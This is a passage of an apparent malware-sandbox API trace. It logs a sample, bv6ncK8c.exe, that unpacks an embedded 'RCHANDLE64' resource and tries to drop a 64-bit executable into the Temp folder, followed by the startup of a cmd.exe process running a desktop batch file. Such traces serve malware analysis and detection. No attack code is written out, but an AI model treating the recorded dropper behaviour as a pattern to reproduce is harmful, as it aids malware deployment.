¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿi·Íßäþ\x18", lpUsedDefaultChar=0x0) returned 256 [0075.434] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x568248 [0075.434] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0075.434] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40f584) returned 0x0 [0075.434] RtlSizeHeap (HeapHandle=0x550000, Flags=0x0, MemoryPointer=0x568248) returned 0x80 [0075.434] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0075.435] GetProcAddress (hModule=0x76e10000, lpProcName="IsWow64Process") returned 0x76e2195e [0075.435] GetCurrentProcess () returned 0xffffffff [0075.435] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ff34 | out: Wow64Process=0x18ff34) returned 1 [0075.435] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fd28, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0075.435] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x18fb20, nSize=0x104 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0075.435] FindResourceW (hModule=0x0, lpName="RCHANDLE64", lpType="BINRES") returned 0x476060 [0075.435] LoadResource (hModule=0x0, hResInfo=0x476060) returned 0x43c648 [0075.435] SizeofResource (hModule=0x0, hResInfo=0x476060) returned 0x37490 [0075.435] LockResource (hResData=0x43c648) returned 0x43c648 [0075.435] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x18) returned 0x5682d0 [0075.435] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x18f95c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.436] GetLastError () returned 0x20 [0075.436] GetLastError () returned 0x20 [0075.436] SetLastError (dwErrCode=0x20) [0075.436] GetLastError () returned 0x20 [0075.436] SetLastError (dwErrCode=0x20) [0075.436] GetLastError () returned 0x20 [0075.436] SetLastError (dwErrCode=0x20) [0075.437] GetLastError () returned 0x20 [0075.437] SetLastError (dwErrCode=0x20) [0075.437] GetLastError () returned 0x20 [0075.437] SetLastError (dwErrCode=0x20) [0075.437] GetLastError () returned 0x20 [0075.437] SetLastError (dwErrCode=0x20) [0075.437] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1000) returned 0x569828 [0075.437] WriteFile (in: hFile=0x80, lpBuffer=0x18ea08*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x18e334, lpOverlapped=0x0 | out: lpBuffer=0x18ea08*, lpNumberOfBytesWritten=0x18e334*=0x49, lpOverlapped=0x0) returned 1 [0075.439] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x567818 | out: hHeap=0x550000) returned 1 [0075.439] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fedc | out: phModule=0x18fedc) returned 0 [0075.439] ExitProcess (uExitCode=0x1) [0075.439] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5660d0 | out: hHeap=0x550000) returned 1 Process: id = "137" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x13f31000" os_pid = "0xc28" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x328" cmd_line = "cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\"\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 680 os_tid = 0xc2c [0075.875] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x3af8bc | out: lpSystemTimeAsFileTime=0x3af8bc*(dwLowDateTime=0xd1dfe600, dwHighDateTime=0x1d5d06a)) [0075.875] GetCurrentProcessId () returned 0xc28 [0075.875] GetCurrentThreadId () returned 0xc2c [0075.875] GetTickCount () returned 0x115b52c [0075.875] QueryPerformanceCounter (in: lpPerformanceCount=0x3af8b4 | out: lpPerformanceCount=0x3af8b4*=21782700691) returned 1 [0075.876] GetModuleHandleA (lpModuleName=0x0) returned 0x4ab20000 [0075.876] __set_app_type (_Type=0x1) [0075.876] __p__fmode () returned 0x76be31f4 [0075.876] __p__commode () returned 0x76be31fc [0075.876] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ab421a6) returned 0x0 [0075.876] __getmainargs (in: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c, _DoWildCard=0, _StartInfo=0x4ab44140 | out: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c) returned 0 [0075.877] GetCurrentThreadId () returned 0xc2c [0075.877] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xc2c) returned 0x60 [0075.877] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0075.877] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0075.877] SetThreadUILanguage (LangId=0x0) returned 0x409 [0076.086] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0076.086] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x3af84c | out: phkResult=0x3af84c*=0x0) returned 0x2 [0076.087] VirtualQuery (in: lpAddress=0x3af883, lpBuffer=0x3af81c, dwLength=0x1c | out: lpBuffer=0x3af81c*(BaseAddress=0x3af000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0076.087] VirtualQuery (in: lpAddress=0x2b0000, lpBuffer=0x3af81c, dwLength=0x1c | out: lpBuffer=0x3af81c*(BaseAddress=0x2b0000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0076.087] VirtualQuery (in: lpAddress=0x2b1000, lpBuffer=0x3af81c, dwLength=0x1c | out: lpBuffer=0x3af81c*(BaseAddress=0x2b1000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0076.087] VirtualQuery (in: lpAddress=0x2b3000, lpBuffer=0x3af81c, dwLength=0x1c | out: lpBuffer=0x3af81c*(BaseAddress=0x2b3000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0076.087] VirtualQuery (in: lpAddress=0x3b0000, lpBuffer=0x3af81c, dwLength=0x1c | out: lpBuffer=0x3af81c*(BaseAddress=0x3b0000, AllocationBase=0x3b0000, AllocationProtect=0x2, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0076.087] GetConsoleOutputCP () returned 0x1b5 [0076.087] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0076.087] SetConsoleCtrlHandler (HandlerRoutine=0x4ab3e72a, Add=1) returned 1 [0076.087] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.087] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0076.088] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.088] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0076.088] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.088] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0076.088] _get_osfhandle (_FileHandle=0) returned 0x3 [0076.089] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0076.089] _get_osfhandle (_FileHandle=0) returned 0x3 [0076.089] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0076.089] GetEnvironmentStringsW () returned 0x182108* [0076.089] GetProcessHeap () returned 0x170000 [0076.089] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xaca) returned 0x182be0 [0076.089] FreeEnvironmentStringsW (penv=0x182108) returned 1 [0076.090] GetProcessHeap () returned 0x170000 [0076.090] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x4) returned 0x1818a8 [0076.090] GetEnvironmentStringsW () returned 0x182108* [0076.090] GetProcessHeap () returned 0x170000 [0076.090] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xaca) returned 0x1836b8 [0076.090] FreeEnvironmentStringsW (penv=0x182108) returned 1 [0076.090] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3ae7bc | out: phkResult=0x3ae7bc*=0x68) returned 0x0 [0076.090] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3ae7c4, lpData=0x3ae7c8, lpcbData=0x3ae7c0*=0x1000 | out: lpType=0x3ae7c4*=0x0, lpData=0x3ae7c8*=0x0, lpcbData=0x3ae7c0*=0x1000) returned 0x2 [0076.090] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3ae7c4, lpData=0x3ae7c8, lpcbData=0x3ae7c0*=0x1000 | out: lpType=0x3ae7c4*=0x4, lpData=0x3ae7c8*=0x1, lpcbData=0x3ae7c0*=0x4) returned 0x0 [0076.090] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3ae7c4, lpData=0x3ae7c8, lpcbData=0x3ae7c0*=0x1000 | out: lpType=0x3ae7c4*=0x0, lpData=0x3ae7c8*=0x1, lpcbData=0x3ae7c0*=0x1000) returned 0x2 [0076.090] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3ae7c4, lpData=0x3ae7c8, lpcbData=0x3ae7c0*=0x1000 | out: lpType=0x3ae7c4*=0x4, lpData=0x3ae7c8*=0x0, lpcbData=0x3ae7c0*=0x4) returned 0x0 [0076.090] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3ae7c4, lpData=0x3ae7c8, lpcbData=0x3ae7c0*=0x1000 | out: lpType=0x3ae7c4*=0x4, lpData=0x3ae7c8*=0x40, lpcbData=0x3ae7c0*=0x4) returned 0x0 [0076.090] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3ae7c4, lpData=0x3ae7c8, lpcbData=0x3ae7c0*=0x1000 | out: lpType=0x3ae7c4*=0x4, lpData=0x3ae7c8*=0x40, lpcbData=0x3ae7c0*=0x4) returned 0x0 [0076.090] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3ae7c4, lpData=0x3ae7c8, lpcbData=0x3ae7c0*=0x1000 | out: lpType=0x3ae7c4*=0x0, lpData=0x3ae7c8*=0x40, lpcbData=0x3ae7c0*=0x1000) returned 0x2 [0076.090] RegCloseKey (hKey=0x68) returned 0x0 [0076.091] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3ae7bc | out: phkResult=0x3ae7bc*=0x68) returned 0x0 [0076.091] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3ae7c4, lpData=0x3ae7c8, lpcbData=0x3ae7c0*=0x1000 | out: lpType=0x3ae7c4*=0x0, lpData=0x3ae7c8*=0x40, lpcbData=0x3ae7c0*=0x1000) returned 0x2 [0076.091] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3ae7c4, lpData=0x3ae7c8, lpcbData=0x3ae7c0*=0x1000 | out: lpType=0x3ae7c4*=0x4, lpData=0x3ae7c8*=0x1, lpcbData=0x3ae7c0*=0x4) returned 0x0 [0076.091] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3ae7c4, lpData=0x3ae7c8, lpcbData=0x3ae7c0*=0x1000 | out: lpType=0x3ae7c4*=0x0, lpData=0x3ae7c8*=0x1, lpcbData=0x3ae7c0*=0x1000) returned 0x2 [0076.091] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3ae7c4, lpData=0x3ae7c8, lpcbData=0x3ae7c0*=0x1000 | out: lpType=0x3ae7c4*=0x4, lpData=0x3ae7c8*=0x0, lpcbData=0x3ae7c0*=0x4) returned 0x0 [0076.091] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3ae7c4, lpData=0x3ae7c8, lpcbData=0x3ae7c0*=0x1000 | out: lpType=0x3ae7c4*=0x4, lpData=0x3ae7c8*=0x9, lpcbData=0x3ae7c0*=0x4) returned 0x0 [0076.091] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3ae7c4, lpData=0x3ae7c8, lpcbData=0x3ae7c0*=0x1000 | out: lpType=0x3ae7c4*=0x4, lpData=0x3ae7c8*=0x9, lpcbData=0x3ae7c0*=0x4) returned 0x0 [0076.091] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3ae7c4, lpData=0x3ae7c8, lpcbData=0x3ae7c0*=0x1000 | out: lpType=0x3ae7c4*=0x0, lpData=0x3ae7c8*=0x9, lpcbData=0x3ae7c0*=0x1000) returned 0x2 [0076.091] RegCloseKey (hKey=0x68) returned 0x0 [0076.091] time (in: timer=0x0 | out: timer=0x0) returned 0x5e2710e0 [0076.091] srand (_Seed=0x5e2710e0) [0076.091] GetCommandLineW () returned="cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\"\"" [0076.091] GetCommandLineW () returned="cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\"\"" [0076.092] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0076.092] GetProcessHeap () returned 0x170000 [0076.092] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x210) returned 0x182108 [0076.092] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x182110, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0076.092] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0076.092] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0076.092] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0076.092] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0076.092] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0076.092] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0076.092] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0076.092] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0076.093] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0076.093] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0076.093] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0076.093] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0076.093] GetProcessHeap () returned 0x170000 [0076.093] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x182be0 | out: hHeap=0x170000) returned 1 [0076.093] GetEnvironmentStringsW () returned 0x182320* [0076.093] GetProcessHeap () returned 0x170000 [0076.093] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xae2) returned 0x184c80 [0076.093] FreeEnvironmentStringsW (penv=0x182320) returned 1 [0076.093] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0076.093] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0076.093] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0076.093] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0076.093] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0076.093] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0076.093] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0076.093] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0076.093] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0076.093] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0076.093] GetProcessHeap () returned 0x170000 [0076.093] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x54) returned 0x1817d8 [0076.093] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x3af588 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0076.094] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x3af588, lpFilePart=0x3af584 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3af584*="Desktop") returned 0x25 [0076.094] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0076.094] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x3af304 | out: lpFindFileData=0x3af304*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x185770 [0076.094] FindClose (in: hFindFile=0x185770 | out: hFindFile=0x185770) returned 1 [0076.094] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x3af304 | out: lpFindFileData=0x3af304*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x185770 [0076.094] FindClose (in: hFindFile=0x185770 | out: hFindFile=0x185770) returned 1 [0076.094] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0076.094] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x3af304 | out: lpFindFileData=0x3af304*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x185770 [0076.094] FindClose (in: hFindFile=0x185770 | out: hFindFile=0x185770) returned 1 [0076.094] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0076.094] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0076.094] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0076.094] GetProcessHeap () returned 0x170000 [0076.094] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184c80 | out: hHeap=0x170000) returned 1 [0076.094] GetEnvironmentStringsW () returned 0x184190* [0076.094] GetProcessHeap () returned 0x170000 [0076.095] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xb36) returned 0x185fb0 [0076.095] FreeEnvironmentStringsW (penv=0x184190) returned 1 [0076.095] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0076.095] GetProcessHeap () returned 0x170000 [0076.095] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1817d8 | out: hHeap=0x170000) returned 1 [0076.095] GetProcessHeap () returned 0x170000 [0076.095] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x400e) returned 0x186af0 [0076.095] GetProcessHeap () returned 0x170000 [0076.095] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xf2) returned 0x182e60 [0076.095] GetProcessHeap () returned 0x170000 [0076.095] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x4008) returned 0x18ab08 [0076.096] GetProcessHeap () returned 0x170000 [0076.096] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x4008) returned 0x18eb18 [0076.096] GetProcessHeap () returned 0x170000 [0076.096] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x186af0 | out: hHeap=0x170000) returned 1 [0076.096] GetConsoleOutputCP () returned 0x1b5 [0076.096] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0076.096] GetUserDefaultLCID () returned 0x409 [0076.097] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ab44950, cchData=8 | out: lpLCData=":") returned 2 [0076.097] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x3af6c8, cchData=128 | out: lpLCData="0") returned 2 [0076.097] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x3af6c8, cchData=128 | out: lpLCData="0") returned 2 [0076.097] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x3af6c8, cchData=128 | out: lpLCData="1") returned 2 [0076.097] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ab44940, cchData=8 | out: lpLCData="/") returned 2 [0076.097] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ab44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0076.098] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ab44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0076.098] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ab44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0076.098] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ab44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0076.098] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ab44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0076.098] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ab44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0076.098] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ab44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0076.098] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ab44930, cchData=8 | out: lpLCData=".") returned 2 [0076.098] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ab44920, cchData=8 | out: lpLCData=",") returned 2 [0076.098] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0076.099] 